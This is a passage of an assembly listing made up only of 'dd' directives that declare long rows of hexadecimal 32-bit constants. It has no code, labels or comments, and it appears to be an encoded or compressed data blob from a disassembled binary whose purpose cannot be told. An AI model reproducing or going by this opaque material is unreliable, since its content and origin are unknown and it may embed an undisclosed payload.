		dd 190411FAh, 708E7690h, 3F4BC067h, 73DD0100h, 51DE2AB0h
		dd 7A9012FDh, 6118070Eh, 80C5A417h, 0EA356D08h,	971C4E01h
		dd 0AA1643F6h, 0B18CA040h, 74E72059h, 333E0700h, 32526024h
		dd 0E80800F7h, 0C5A8D68h, 0FD00428Eh, 0A57B1B3h, 0E8CA90C0h
		dd 0A3482895h, 0F944A088h, 276A308Fh, 5F7B9CA0h, 16F9E660h
		dd 0FA3C7431h, 4350918Ch, 0F1D72551h, 0F241F83Ah, 4E944880h
		dd 9000B126h, 428D9B23h, 98964Dh, 3513978Eh, 0D392E06Dh
		dd 7E121E00h, 0DD2285BDh, 37800C4h, 5B966350h, 0D70AC516h
		dd 849F884Ch, 2DCB189Ch, 3A71005Ah, 0CF79715h, 42FBB14Ah
		dd 0EE1896C8h, 0A23087A4h, 0B1B36231h, 2209BECh, 60550E68h
		dd 3BAEE8A3h, 0C5286595h, 7BFEEC82h, 0F8E8F430h, 1DFC62Dh
		dd 6BFF5C77h, 308B0FBCh, 8921E55h, 0A0CC54Ch, 847A5B07h
		dd 329C2000h, 310441EBh, 7431BF23h, 0F6518EFCh,	78C96C64h
		dd 6A8577A6h, 1034A15Ah, 9A70807Ah, 0F2A171EEh,	528F37B6h
		dd 8E2B40D1h, 3D0781DCh, 0B8D62FB2h, 3CF7414Ch,	1C3730FAh
		dd 3F828179h, 48BEDDB5h, 8CCC08h, 0CA319A90h, 2113B395h
		dd 0C0C67C2Ch, 7B65A403h, 48D0BC17h, 15974ABh, 3A82764Bh
		dd 30A37EF4h, 2E008906h, 12C2F879h, 14AEBC7Ch, 0D81B9840h
		dd 81048B8Ah, 0BC86F973h, 0F018355Bh, 0A614BF58h, 3AA033AEh
		dd 0CCC613A3h, 0C2B16800h, 0C5843906h, 8245A681h, 0CC40A0B4h
		dd 0FA14BE95h, 0E89CE4h, 1A7DFC2h, 22283Eh, 20E55DB9h
		dd 0B13D7440h, 20FE9224h, 0B881CD50h, 21C880A9h, 0CAE80A1h
		dd 0F8207474h, 0C15A0266h, 94AF076Fh, 0A79EFD60h, 38FCE63Bh
		dd 513E06B4h, 1D805B3h,	0AFA28D01h, 40556A08h, 0DF498028h
		dd 0F2BE3F00h, 84C30BAh, 10406028h, 4F98130Eh, 35958202h
		dd 90E80BD0h, 6E40BD30h, 0F0D4B0ADh, 6FFF5A80h,	0CB0011C9h
		dd 4C254B0Ah, 0F31636h,	5BFB04B4h, 7E76823Ch, 48DBCA4h
		dd 32F2DC80h, 90856C62h, 0F0290A7Ch, 0E387650h,	0EB8169BFh
		dd 0E8C83F2Ah, 0F9F7E13Eh, 0D47031E6h, 1A1FA0DEh, 530765F3h
		dd 6030414Ah, 0A8E6339h, 768A6E21h, 3F3740F4h, 9E008791h
		dd 0CC0712C8h, 0DC62B8h, 0F09AB10Bh, 0D47FF37Eh, 742011C4h
		dd 0C476A300h, 1A06A5C1h, 4CF3645h, 4DE50CC0h, 84A8B659h
		dd 0FE9A0C00h, 81D28005h, 3372005Ch, 31914068h,	31D3FADh
		dd 0B0D49429h, 610D016Ch, 8F9C1958h, 0BD40900Ch, 224501CAh
		dd 0FC3A0CD7h, 69BE13h,	24900A6Ch, 5097E45Bh, 3AF89818h
		dd 0CB2A918Fh, 5D1A21A0h, 20EC78Bh, 0A5C9AFD9h,	0A040D534h
		dd 0A7319E30h, 0DC7300ABh, 77A8842Ah, 0BE181893h, 487858B6h
		dd 91DD15E0h, 0EA39DCDBh, 4DD3AF80h, 0ACD98E77h, 13A3963Ah
		dd 0B007F061h, 4713BCE1h, 0F385F1FCh, 59FF860h,	25A760BBh
		dd 2EF424A4h, 912F1088h, 0CBD758C0h, 6F143F48h,	7148D659h
		dd 249EB004h, 8C37C510h, 0E8248C21h, 620780B0h,	0B7B05E0Dh
		dd 0F63B557Ah, 0D72707CDh, 0E09E9780h, 83703062h, 1E11CF00h
		dd 7CAF959Fh, 0CED49CDh, 0AD5CA40Dh, 8162F890h,	3364C909h
		dd 0F7580106h, 18D1C7E8h, 51C82180h, 4E5C655h, 0A9ABE24h
		dd 0D5002828h, 76810F38h, 50BB2FF4h, 3F1588A6h,	1880568Eh
		dd 77C2CACBh, 0AD3BD766h, 2BAC010Bh, 85CE12F4h,	1017D084h
		dd 4F24D0C4h, 3F00C20Fh, 0A04F298h, 0F56D83Ah, 2F57825h
		dd 94439A94h, 69AE6D01h, 0C9D0824h, 0EDAB883Dh,	840A4800h
		dd 2F12023Eh, 0CA5800FBh, 240BD771h, 0AC094AD2h, 1D3EE2C2h
		dd 0E0E21568h, 30B17780h, 0D4007A76h, 1281A99h,	536ECD13h
		dd 8726AC4Fh, 0B63105EAh, 0A9AC32C8h, 704ED62Ch, 0A004706Eh
		dd 0CA6BA3h, 49F8CFE6h,	0CC87B0CBh, 36B5A009h, 580AFFC9h
		dd 9921768Ch, 0D7CA80BDh, 0B3A6F518h, 9078D203h, 1007A4h
		dd 630AF88h, 0E7EF8C3Ch, 9D2A317Dh, 6607CC34h, 0A50BB69Eh
		dd 88C913D3h, 0C3BB99h,	0C8A09458h, 246F6E22h, 3F0A1098h
		dd 80576DCCh, 15C97A60h, 30AE465Eh, 869D7906h, 77E61F55h
		dd 3A7A0091h, 0BE8531A1h, 38F8010Ah, 9CA6AC98h,	809F8708h
		dd 0C9FE1B22h, 0DF0035CDh, 0E0783CBFh, 1E457034h, 40DBD5CAh
		dd 278EAA36h, 20035415h, 104D241Ah, 7331A9A7h, 0C3C865ECh
		dd 0D1B0B251h, 0FB7FB100h, 1AA47B4Fh, 0EB531F87h, 2905090Eh
		dd 211FE497h, 29C8E61h,	0F379DC60h, 380044F8h, 0EB56B06Ch
		dd 42587Eh, 57E85B31h, 39A1FCBFh, 0F3606D01h, 8E11F883h
		dd 28AAE7E8h, 4680218Ah, 1B290142h, 0EFF5C9E5h,	0ECB2AE0Ch
		dd 5286DC00h, 0C302B182h, 4B861h, 0E02D6E59h, 0E2BD218Dh
		dd 0D21CA202h, 4D0BB04Eh, 453C6358h, 42647198h,	78001AEAh
		dd 0A4DB7513h, 5C60D7h,	56D63A2Eh, 0D0307CB0h, 0BC841258h
		dd 7D748CD5h, 0B780874h, 0E001344Ah, 6C9C63DFh,	5261C0CEh
		dd 0E39D00CEh, 39C44EB9h, 0D81D3EB2h, 0D6895085h, 0A044A4Ah
		dd 215C98E0h, 1980903Ah, 4143EEAAh, 0E9D112F5h,	0AB1C041Fh
		dd 89CC2188h, 3B158862h, 6C183063h, 0C917E031h,	0C16000B1h
		dd 9041BC0h, 5FF4261Dh,	78BDEC29h, 0A84A9D00h, 8C5C01h
		dd 0E529175Ah, 7CEAF5B3h, 8827C226h, 3C80AC9Fh,	0D773686Ah
		dd 0F0174879h, 0B2F57780h, 0A07EA215h, 375C2900h, 3DF4A4CDh
		dd 0D0260144h, 21D40A62h, 4B1821C1h, 0F91A82F0h, 0EC97108Ah
		dd 78ABCD01h, 7BFD2419h, 2A76C20h, 6A06D71h, 0F84D9580h
		dd 427E6261h, 1D00F908h, 0A6F35A22h, 1F89D109h,	0EA677FEFh
		dd 0FE67180h, 0A81C69CCh, 0B529F223h, 0C7B7709Fh, 2E016FECh
		dd 26FC46ADh, 5828FABFh, 1AD59602h, 0FCC8BD44h,	0F100B434h
		dd 8DB23C9Ch, 7F18A947h, 0FC4E376Fh, 35CBC0F1h,	0C31CCA37h
		dd 0DB80F133h, 0FA890221h, 0A1BF062h, 44012C6Fh, 18774070h
		dd 6526C7D3h, 965868EEh, 1B7E1Eh, 9AA0A101h, 647F2BA5h
		dd 0C9E88E58h, 2890DC87h, 0FCCB488Bh, 1229C2C2h, 10E98F81h
		dd 6203F17Dh, 33D0F2A4h, 0E78C8E8h, 9802FB77h, 5B9B84A8h
		dd 56B44051h, 5FAF0B2Ah, 8497130Bh, 60BD9988h, 0ABAA41D3h
		dd 5FD94600h, 0FC287BBFh, 0DBB000C8h, 0A5ED0CB3h, 14FEA956h
		dd 0BC5CE05Ch, 4F078CFBh, 0A02493D1h, 8EBA3820h, 456B39B5h
		dd 0C13ED583h, 315891E9h, 5850108Ch, 0E0CBE5C0h, 62ED6633h
		dd 7C4CC060h, 2EC051C9h, 2E61486h, 55E4B34Bh, 0D673007Ah
		dd 96895800h, 869544CAh, 0B3040B8Dh, 18A12C28h,	8AA85EFh
		dd 83C90A58h, 5068DE5Fh, 55074F37h, 8E6C98DBh, 88076610h
		dd 64E81342h, 8DDB0195h, 60CE84C0h, 0D3025746h,	9DD87EFBh
		dd 96DE6073h, 38A80179h
		dd 0AE49527Ch, 4235Bh, 0F44DAF59h, 94DC3666h, 0B9CFE13Ch
		dd 0B4B8D44Ah, 857CDE00h, 41FC4B3h, 0B1E11F90h,	0E578436Dh
		dd 0EE9F3F46h, 5DE345E0h, 40C184E9h, 6F9B1987h,	48F7AADBh
		dd 2CE862B0h, 805C7ED9h, 0F07A02C8h, 0C4A18005h, 648C58F3h
		dd 3127C90Eh, 0A3B0D0FEh, 0CF004E3Ch, 0B52C512Ah, 666D1Ah
		dd 0CCCEBA13h, 0B8D6A05Eh, 331D0872h, 89E5BF88h, 4F0847A4h
		dd 80B08B2Fh, 0BDAB0C94h, 0F0090177h, 0DD24278Ch, 0DE1C70FEh
		dd 9331D300h, 9C1D73C7h, 0CC8F48CDh, 0B7969F3Ch, 544C202Ah
		dd 0EE00D608h, 8C239B82h, 0CEBF81h, 0B3ADECD4h,	7293C131h
		dd 0E6F99E01h, 1124A642h, 4E3030h, 6DC0987Dh, 14FA108Eh
		dd 33633E00h, 274F41ACh, 0CAAD00F2h, 0FF71A06Fh, 0F1F8D42h
		dd 0A4003102h, 36DC9346h, 5DF500BDh, 8E5A21D7h,	61904DB9h
		dd 88A27F00h, 7938AD70h, 0B3C100B1h, 0E1738FEBh, 0E000B233h
		dd 0D024FFBAh, 0FAA1964Dh, 99F70054h, 18952BCCh, 0CD00A78Eh
		dd 557CEC26h, 3CF2978h,	44D8943Fh, 70074ADEh, 8217FF87h
		dd 0D4805317h, 134805h,	20068624h, 1F63EE3Eh, 408C5228h
		dd 89352B00h, 5CE34C05h, 7EFD00A6h, 79DDF826h, 0A40F6006h
		dd 4FA124F3h, 49D581BDh, 4820E78Ah, 3C163EB2h, 6C30A500h
		dd 0AF83BBA9h, 588FE430h, 0A00145ABh, 29B7D8Ch,	0B5EA3B2Dh
		dd 43C01C2Ah, 97397C73h, 0ED50808Dh, 354E9B31h,	99965045h
		dd 0D49054D8h, 0BC5700A3h, 0E7192679h, 0ED1C2EFAh, 544355EEh
		dd 0C04983C0h, 1C6BC3E3h, 80137C26h, 1C7325CFh,	0E258A417h
		dd 3E46005Ah, 0D09F86B6h, 0BACE13C0h, 0A8320074h, 55CF8003h
		dd 7130A900h, 0BE296138h, 51B63E21h, 0AE01EC00h, 0C81AF24Ah
		dd 5400F0F0h, 76DA70EFh, 601DD41Bh, 42A51052h, 230CE12Bh
		dd 4929F4EEh, 7BA7017Eh, 0F3DEF7Dh, 8F205085h, 8AF6F188h
		dd 0DE18BC54h, 34194729h, 0D5A35831h, 30004308h, 8A9E3EFFh
		dd 282AAF7Eh, 86B9829Bh, 3160C150h, 50BBFCCCh, 710E9E1Ch
		dd 0A33A517Fh, 0A96F0A72h, 0CBC13866h, 0FE188588h, 0BB010A71h
		dd 51961C4Eh, 685C3E2Fh, 7BDA2941h, 145E1538h, 0E3036098h
		dd 0BE0068A6h, 6EBADD63h, 0AB5CFB9h, 7E98312Eh,	7181789Ch
		dd 1E41C784h, 68237827h, 524DD01h, 28801DD2h, 8382947Eh
		dd 98AEE3CFh, 2AE58702h, 18ED353Dh, 3B1595DEh, 9844EEB6h
		dd 317DF558h, 0AA30EB9Dh, 0E4CC402Eh, 0CF095214h, 85BB0B50h
		dd 9800736Fh, 0CD0982ACh, 0F7371D34h, 5CEA004Dh, 0E13CAEAAh
		dd 8755C0E7h, 147AE312h, 27EF8900h, 1CC5ADB8h, 0E4EC4144h
		dd 0C00139B7h, 938D0998h, 48244836h, 52CEFA04h,	1C305385h
		dd 4300E076h, 414A308Ch, 0E84954CCh, 0C939000Ch, 77762DBAh
		dd 0E076C44h, 516D0BADh, 50303205h, 0A4889381h,	0EBBC022Ch
		dd 0E72C4145h, 5C4244BAh, 0C3E9181Bh, 0C8C8984Bh, 71C2CD0h
		dd 0E36C43E6h, 4DACC332h, 18635078h, 0E8EC08h, 402FCC30h
		dd 42BBCDB8h, 7568EDE8h, 0A8EC3CB0h, 0A40A57A1h, 0BD0BFC01h
		dd 8C2F6D31h, 80BB0C58h, 78AB614Ch, 9538618Ch, 37B03A18h
		dd 0B0CA6026h, 87CDC973h, 767A9C18h, 0D52C4319h, 0D888EAB1h
		dd 0EC0EAC0Ch, 0ADBAA040h, 0A631BC8Ch, 8E197E58h, 0D33EA4F4h
		dd 0DC752843h, 98C84C52h, 84C07E88h, 79DCDF40h,	0DB80120h
		dd 0C01FFF03h, 5E44B43h, 54F63B61h, 7F7C1C41h, 784B411Dh
		dd 0FFDDE60Ah, 0C41C4518h, 4BFC38B1h, 1BA0CC3Dh, 9810E807h
		dd 0E4E916AFh, 9C920CBBh, 0A8D0D766h, 0ADF73902h, 0B84AD130h
		dd 188A9624h, 380A672Bh, 53242D3Ch, 4B5878B8h, 0D6111F52h
		dd 0DC92C20Bh, 0E0833C39h, 4DCA864Ah, 922E9C94h, 9183299h
		dd 40FF7C58h, 18A59F84h, 156C9E83h, 1C8905C3h, 2CB83E3Dh
		dd 0EC0D70E4h, 2828D1F6h, 575B48F8h, 9900280Ch,	6AF6DF1h
		dd 0FFF292B9h, 80C5F26h, 18B42B58h, 504CD7BCh, 5E1DACFCh
		dd 3071AD0Ch, 845CE6EDh, 3969F8B4h, 0B450AEB7h,	92B126Dh
		dd 8B9002Dh, 0B995EEDh,	0B57467F0h, 2F0638AEh, 42E1A81h
		dd 0C33C3098h, 57D26D40h, 0B64170C4h, 29420CC3h, 4FD82D08h
		dd 239CA000h, 0C4A0BAC1h, 857B484h, 88570214h, 0A2389491h
		dd 40792DC0h, 57144BE8h, 110218B5h, 17BAF870h, 0E20F1C00h
		dd 0DED30B7h, 5AB44D08h, 7B01A0A7h, 16FD2A11h, 0E1E4BC00h
		dd 228DB705h, 1870B875h, 2A3FFB8Ah, 14CC03B1h, 0F4B511FEh
		dd 1B2BD0B7h, 0FC8137C3h, 0E280B022h, 0FDAEC56h, 0D8DF1F00h
		dd 0E904ED59h, 184001Ah, 439DDD29h, 51012A89h, 0F85AE6A9h
		dd 0CF0BD5h, 83AC7830h,	23864901h, 45147E54h, 0DCDF4E07h
		dd 1841222Eh, 5894492Fh, 0D7C01482h, 2BAE67ABh,	2BEFB880h
		dd 812804A5h, 0D71C451Eh, 0C058020Dh, 310907BDh, 6158F2F7h
		dd 41C9D0A4h, 6403B8DDh, 0CF6958FBh, 478982EEh,	83289067h
		dd 60CF7D9Eh, 88F8C8FCh, 893104A8h, 0CB298037h,	4AE9408Eh
		dd 0E149071Dh, 2B09811Dh, 4C88589Eh, 767A2718h,	293998C1h
		dd 609C55F6h, 0AD1ACC01h, 338EB40h, 49552CC9h, 70A521E5h
		dd 8092C650h, 1EA6FF14h, 7A9700CCh, 65082890h, 39FC296Ch
		dd 0B2158318h, 0D1015583h, 970F6C78h, 184BF948h, 0A475C107h
		dd 18601C99h, 30870131h, 28D0867Dh, 44E2B67h, 66B8164h
		dd 85A4F469h, 0C6FFB838h, 5F9B038h, 62D4A17Dh, 0DD80021h
		dd 4F09552Dh, 2784AE9h,	5B085613h, 1DC8A1ECh, 87E597EDh
		dd 4368A0E7h, 39A8F0E8h, 3B7C7E90h, 31783E0Fh, 48283CC5h
		dd 0B1088F46h, 5C688A34h, 8198D7C0h, 0D99C41A7h, 4850801Ah
		dd 888DB10Dh, 18AD746Ch, 68DA8128h, 8C8DE3Dh, 0D4C81D46h
		dd 8D018CDDh, 7A690765h, 5288904Ch, 0DC2C800h, 59A7495Bh
		dd 843009E8h, 721B837h,	0C319F879h, 0B4E9E810h,	4116780Fh
		dd 6E500690h, 96733B8h,	83DC0F20h, 5878D05Ch, 5527A212h
		dd 12119C2Ch, 457F5BFBh, 461738C4h, 0A8B6A898h,	5A007374h
		dd 8DB07C89h, 0C0994CC8h, 439C42E8h, 5606E949h,	7180A891h
		dd 988957E0h, 8F2CC702h, 0D802A577h, 0E7880315h, 0BE686809h
		dd 78480281h, 0CB8C412Dh, 4A0812C7h, 979C04F8h,	612083A9h
		dd 3F28F813h, 4E93001Ch, 876183Ch, 1F19E4B8h, 700E780Ch
		dd 63560328h, 5266A892h, 0ACA08A0h, 0AF695B02h,	0B0489498h
		dd 12739224h, 66FD2F8h,	0B0FB183Ch, 0E4DCC828h,	58E58831h
		dd 30109268h, 0E9185AA3h, 1370DCFDh, 7DFCA1DFh,	0B7687089h
		dd 4A484000h, 0C837910Eh, 0F88FF8BFh, 83BD8808h, 20820DE1h
		dd 0C348C508h, 7E9C1888h, 80816618h, 947486E9h,	28823A20h
		dd 24C8A030h, 193C8458h, 8CE4114Fh, 187E6808h, 3B7933E8h
		dd 87C7F40h, 8818A161h,	0D08AB4F3h, 0DF08505h, 86583C2Fh
		dd 9F4DE841h, 388B6218h, 0C48E0EA8h, 86E9686h, 0B51861DFh
		dd 48702810h, 0DA300CAAh, 0E13AC908h, 0BCF44890h, 0C615878h
		dd 0BB5FA810h, 315DEE0h, 8C9E5002h, 0C1C0FD98h,	46F0FF9Ah
		dd 5E1E9B74h, 3E03B6CDh, 0A3FDD241h, 4D07F46Ah,	6EDEC2F2h
		dd 0A133800Eh, 63C47EFDh, 0B839209Fh, 4CDF7B83h, 0AC70D510h
		dd 0AFFA3B1Eh, 0B4E37E06h, 8526218h, 1E016DFEh,	2080BDCCh
		dd 5EFDD103h, 0BEF88638h, 887ED31h, 6887266Ch, 13FE6B85h
		dd 28188988h, 7C08E036h, 1DBEF0DBh, 8E06B1E3h, 0FB03EAB9h
		dd 9000C2D9h, 1B0544DEh, 1D51AEFEh, 3388197Eh, 7BE31648h
		dd 0A3C21CEh, 593B0C4Dh
		dd 0C0081021h, 7BDF5B20h, 0D13E9B06h, 0ADFB1B17h, 0F5FE210h
		dd 787F63C6h, 9B70DA03h, 14B6FF7Eh, 0A0FDCE28h,	0FC03AC00h
		dd 0FEECD45Eh, 0E3CDBE8h, 4E35189Ah, 0E03AE940h, 0A9C91D1Bh
		dd 6EBF0001h, 48AE1E9Bh, 0F281AA00h, 14AC7187h,	0CB780EF7h
		dd 0BB039FF4h, 9B80E437h, 60C754Ah, 4856351Bh, 5B08C305h
		dd 20005737h, 781A74AAh, 2ED51EB1h, 0CC080F4h, 8E196BB8h
		dd 3C193B3Ah, 7D840B7h,	0E3F76D7Fh, 0A81881B9h,	0A20890EEh
		dd 85C3801h, 8C8F176Ch,	867B728h, 33800057h, 3F1DB4D5h
		dd 0F83C9818h, 0D4340436h, 37C629CEh, 392A0321h, 42BF74D7h
		dd 865634A1h, 0E5761410h, 804CFC08h, 0B4F87077h, 63391720h
		dd 1AD4505Dh, 8794183Fh, 4A581813h, 7C29303Ch, 0FDD4195Ch
		dd 9B0817h, 0C69130F4h,	8848F10h, 0C15F33Eh, 900B6754h
		dd 6088662Bh, 0A40621F9h, 2D581E08h, 18F81E08h,	36B80703h
		dd 7D8C006h, 581F29C3h,	38066A8Fh, 31186718h, 8E100D1Ch
		dd 9D78F010h, 4EFE597Ch, 0D81A7C00h, 0B76C58C5h, 836338DAh
		dd 9F576900h, 52E1A978h, 0CAC10A01h, 1AF8D818h,	0A4DD9085h
		dd 301C7314h, 5989D0A7h, 0AA7F52D4h, 78006A90h,	0D76CA905h
		dd 141ABA15h, 0DC9D91F8h, 0D4BE2414h, 0CA928F00h, 0C0D58173h
		dd 9B001CF4h, 85B1FE97h, 7E020BB8h, 146B50C8h, 207DF03Ah
		dd 9E012528h, 0ABBFB62Fh, 8BD1B92Eh, 0E8BE5B20h, 30B37C52h
		dd 5A21694Bh, 2B0F80D0h, 4B8BB82h, 3780E052h, 0F8BFB403h
		dd 0EB18C01Ch, 7264A575h, 8C10BE6Fh, 636119EDh,	0EAAA08E7h
		dd 0D9AB1801h, 8E526BADh, 61A18BD0h, 0F47E7870h, 2F24FC81h
		dd 89D3F1E9h, 80492B08h, 9D22CB1Bh, 7F320364h, 4B0BBFEEh
		dd 95081102h, 20D0ED48h, 0F27ECC14h, 0AB385261h, 92E0B3A1h
		dd 6B0F2CAFh, 7D3C385Dh, 0DEFFB1Fh, 0D3203932h,	0D264A2B0h
		dd 6FFD0B20h, 590C1867h, 181E8B70h, 0F60E7F86h,	37528384h
		dd 0A472C091h, 127D010Ch, 0D26B10DBh, 3008BC3Fh, 76B21851h
		dd 0C938CC87h, 5F1F9210h, 0DA197EABh, 0FEB3218h, 8AE5F258h
		dd 83530C1Fh, 9140F618h, 7329C8D1h, 0A88B4D8Ch,	5218CB74h
		dd 0B206E5DCh, 61087A82h, 5712202Fh, 4DCDC44Fh,	7F498324h
		dd 1DBCD614h, 0B0EE1D4h, 37C0B4FAh, 38508E5h, 20D5CC4Ch
		dd 25B91EABh, 10D618B3h, 20C3424Bh, 0C0EC7B2Bh,	782012EBh
		dd 86961B3h, 0E322E0ABh, 4026A3E1h, 8015F9D8h, 10534B37h
		dd 31240C43h, 54212B08h, 0C1FC4323h, 0E00328CEh, 7B0BB328h
		dd 7808761Fh, 0B68B0124h, 0F3D27D81h, 3A72D050h, 82107665h
		dd 7E2D3BC0h, 28CDE899h, 30C4BD6Ch, 62087423h, 0D48498Ah
		dd 780FA084h, 809EF438h, 0C55259BEh, 0A5E0310h,	0F3F75F17h
		dd 0F085BD97h, 0C1C28807h, 35A8CB41h, 83B045F6h, 2D8C0D7Fh
		dd 7BF6D6A8h, 75E99000h, 0EE8ED2F2h, 6646006Eh,	0C11C327Ah
		dd 503CB249h, 0F0720057h, 7B307152h, 3D6A30AFh,	0E0289B41h
		dd 7AFC9A81h, 0BA1300B2h, 0D8891249h, 0F723EF18h, 0D1110055h
		dd 0D36D98E6h, 0EDBBF611h, 7493E501h, 878F8052h, 49EFF588h
		dd 90618382h, 3B915D20h, 806229AFh, 1201ECDBh, 1448540Bh
		dd 3B6A08A4h, 0FB063548h, 3D68DDF7h, 1280FF01h,	524A899Dh
		dd 8C0DB6Ah, 0AFE0049Fh, 74AB08EDh, 320812B2h, 8DA03BCDh
		dd 111F9237h, 4175E4D2h, 0D2D0ECD8h, 10DF36h, 0FE12604h
		dd 1E0025CCh, 4996D8EFh, 0F0FBFD72h, 28D23E8Fh,	4A9A6F01h
		dd 0B9AF4FE0h, 7BB21F91h, 7A47CBC1h, 86D61452h,	2B08E0C0h
		dd 83848172h, 707DF73Fh, 11BE100h, 0DCF1890h, 8090C0E7h
		dd 0E69249B4h, 0A9C2A4A3h, 5680E88Fh, 873248FDh, 2A0428A6h
		dd 0DE3DA71Fh, 508D3B07h, 6322AF18h, 0E4F27A29h, 8B6ECD40h
		dd 5B81C639h, 2F563014h, 264C022Ch, 6234A1h, 188F437Bh
		dd 0ADB04F18h, 8068AAF0h, 0EC24405Fh, 0BE5038AEh, 634A3CA7h
		dd 90A227C4h, 8ED3F804h, 0F5127730h, 50405134h,	749AD0BBh
		dd 0CCF81272h, 6E142C49h, 9337FA12h, 0A2DB4841h, 16F97B0Ch
		dd 942CE844h, 365918EEh, 57FBD131h, 9BB8F150h, 0AF1EC80Ch
		dd 2892D843h, 0D9C4AF3h, 0B2758437h, 26684BE9h,	0DF185F09h
		dd 0CF661B51h, 3B2B278h, 274C4F24h, 4023C5A5h, 48029748h
		dd 0F0A9CB92h, 0F2E841A6h, 210BAB6h, 0EECFA86h,	0C6E8483Bh
		dd 7092F997h, 44280EB6h, 48603190h, 108E4732h, 0C12D6F2h
		dd 52082544h, 6F326240h, 1F8C6057h, 0C1645F19h,	0A0816240h
		dd 8BC8CD2h, 0F2504B31h, 86318CEFh, 48A02085h, 6E243CB3h
		dd 9FB20CB4h, 0FD415228h, 97B8F3D3h, 181F9784h,	23F208BFh
		dd 1F89B66h, 662F2008h,	0D4D1CF12h, 862340Ch, 0B4AC480Fh
		dd 192A6F18h, 1F18CDC0h, 92B0F34Fh, 7403E396h, 8E07137h
		dd 0BC975A84h, 50D220CCh, 62929485h, 5C5210D9h,	4883D48Eh
		dd 0D4E34ADCh, 0DAF22010h, 786E6178h, 0D01FD64Fh, 9C9300Fh
		dd 0D0F42FD0h, 2458AF0Ch, 2962BB10h, 401171A8h,	0E966A1FCh
		dd 0F0450AE0h, 8384CCFh, 58462F18h, 10C6DA8Fh, 6521E3AFh
		dd 4AAA11C3h, 9A4F288h,	0D0007C12h, 49B9EB72h, 0C82E323Ch
		dd 287826ACh, 0B0685204h, 0EF94887h, 0CC558740h, 7C1CF2C3h
		dd 95701220h, 83742C74h, 25814E08h, 0EA3B0978h,	8AAF4804h
		dd 0DC7307D0h, 9A80963h, 5804965Bh, 48748A4Fh, 74560989h
		dd 3C04A677h, 60189128h, 282EB40Ah, 859B29C8h, 28AB83AFh
		dd 0D4080554h, 962E1E3h, 0F8039ABBh, 80AAE12h, 0F0B5F052h
		dd 0ECC5B900h, 74BB1D8Eh, 36B324EEh, 68DD1E30h,	10C063E4h
		dd 81878EFh, 6E28A0CFh,	8EA6137h, 5CE00304h, 0DE082858h
		dd 0C1B0AB8h, 0B27822DBh, 12AC0E50h, 0EE92E71Dh, 40042CD3h
		dd 40856E32h, 0E805B884h, 0C402896Fh, 40224472h, 99EC2020h
		dd 5BDAC0A4h, 73401B07h, 6CC24DFBh, 70975719h, 48F9BCE1h
		dd 8A921204h, 7232CC0Eh, 5BD27405h, 0BF12EC81h,	67F11821h
		dd 0F20E8843h, 3CBC60CAh, 4DCEE2EDh, 38C3A80Ah,	758A568Bh
		dd 8AE1B02h, 0AA9F58C4h, 0A1C32330h, 0CC96543Bh, 0D2300190h
		dd 71EC9358h, 48B8CA20h, 6F0A6CFAh, 0FC4BE0Ch, 181D477Eh
		dd 0AC52A033h, 0E0243648h, 203CCD97h, 5B297860h, 6E60482Dh
		dd 0FD5CFB86h, 472D7B01h, 0D211E4C0h, 0BC87B30Ch, 81AEB512h
		dd 207586D8h, 0B95C4D48h, 8070E77Ch, 88751268h,	0ECA1D545h
		dd 0F15831B6h, 0AE065B8h, 0F47D02A0h, 1734D84h,	219091BBh
		dd 0D0EBD940h, 20EF512Eh, 6CB0BF50h, 0D604208Eh, 7768EB1Dh
		dd 300BDB05h, 9B74DE10h, 606CC72Ch, 99CDFB0Ch, 56D498D8h
		dd 9F051892h, 43EC6578h, 0DA531B8Ch, 87E5900Ah,	3EB7C75h
		dd 0C73C8D8h, 0D9F93B31h, 450E32B8h, 4011D72Ah,	0E4DFD483h
		dd 7F973A19h, 0A8551280h, 0F57A1C25h, 8095631Dh, 0F38D80BBh
		dd 0B71809A5h, 18E25284h, 0F9C8910Eh, 0A008FC88h, 9733081Bh
		dd 0EE0C7704h, 0E3F8E763h, 6E0446CDh, 1B52C095h, 2A4EEB00h
		dd 31074277h, 3A34D718h, 980E9742h, 0F48F9620h,	0E0A1C70Dh
		dd 138D1166h, 414C4C78h, 387B397Ah, 5956038h, 572B8AC8h
		dd 9483FA80h, 0A57BF8EDh, 0D5408380h, 0A1014C14h, 2B8DE820h
		dd 304C85F7h, 0A4F91139h, 1A400A4Eh, 3F50148Fh,	0A79A3369h
		dd 28C66051h, 0AD818C85h, 0F78D7D0Fh, 6486BC51h, 2499077Bh
		dd 8F6B62Ah, 56C43720h,	8787817h, 0D9831D39h, 0B7E0A000h
		dd 2B86B47Dh, 814C2A23h
		dd 617C8F29h, 0C07089FBh, 0F40802AAh, 0BC948807h, 43F5F85Bh
		dd 60FB4467h, 2082C48h,	5719D489h, 6A189808h, 20863705h
		dd 1F170091h, 1C007BE1h, 5341C8B4h, 998D81Dh, 0E55DF8EBh
		dd 0FBE36281h, 7B08800Ah, 0B8B9BA20h, 0E16B2C74h, 0F1E90110h
		dd 8CA0ACFBh, 28A86708h, 5BE7C72h, 0B79DE83Bh, 2C346058h
		dd 0C22084A7h, 730500A5h, 6BBE3B6h, 5B3EE176h, 72F1808Ch
		dd 1238C194h, 8C462B5h,	8CE02A8Dh, 0E074B7Bh, 9BFFC871h
		dd 38CD1480h, 62BD00B2h, 987B881Fh, 4502748Eh, 54ECB42Eh
		dd 50546040h, 295CB873h, 118B0B8h, 0FAEA02B6h, 0CD8C008Bh
		dd 31100569h, 843A189Dh, 48303040h, 0B92059F0h,	0AAAC0140h
		dd 5D7238A0h, 0F21448B7h, 0A063C43Ah, 134C3041h, 60FAB158h
		dd 0B8D23A08h, 8B06C0C9h, 31C29133h, 0E13F2F6Ch, 404C104Ch
		dd 0F6611B0Ch, 98B8E1FEh, 40AE4876h, 4761B91Dh,	0F52CD9B1h
		dd 813C50A3h, 7264984Dh, 0DECC017Ch, 837C50A3h,	59E9A9B1h
		dd 0EDEC5110h, 81C0A842h, 467563CDh, 288AEE89h,	613CC432h
		dd 0D1F52175h, 0E6AC007Eh, 783857BBh, 0DE07EE02h, 4C027DD6h
		dd 0E0640816h, 6F1D967Ch, 0C76C8CA8h, 3C3A7E2Bh, 0AFE3D383h
		dd 0C5100F8h, 129C3ADCh, 0D0FDF5Eh, 62E2DE31h, 40B55591h
		dd 0A5B9B34h, 804C1110h, 408C21E0h, 5504129Bh, 52CC9CEh
		dd 0A02C38C2h, 0FEA3004Eh, 0A9522E29h, 8D00BB9Eh, 0D4CCD220h
		dd 0A7721Fh, 0EC47028Eh, 5CB41015h, 14BE28C0h, 23B2206Eh
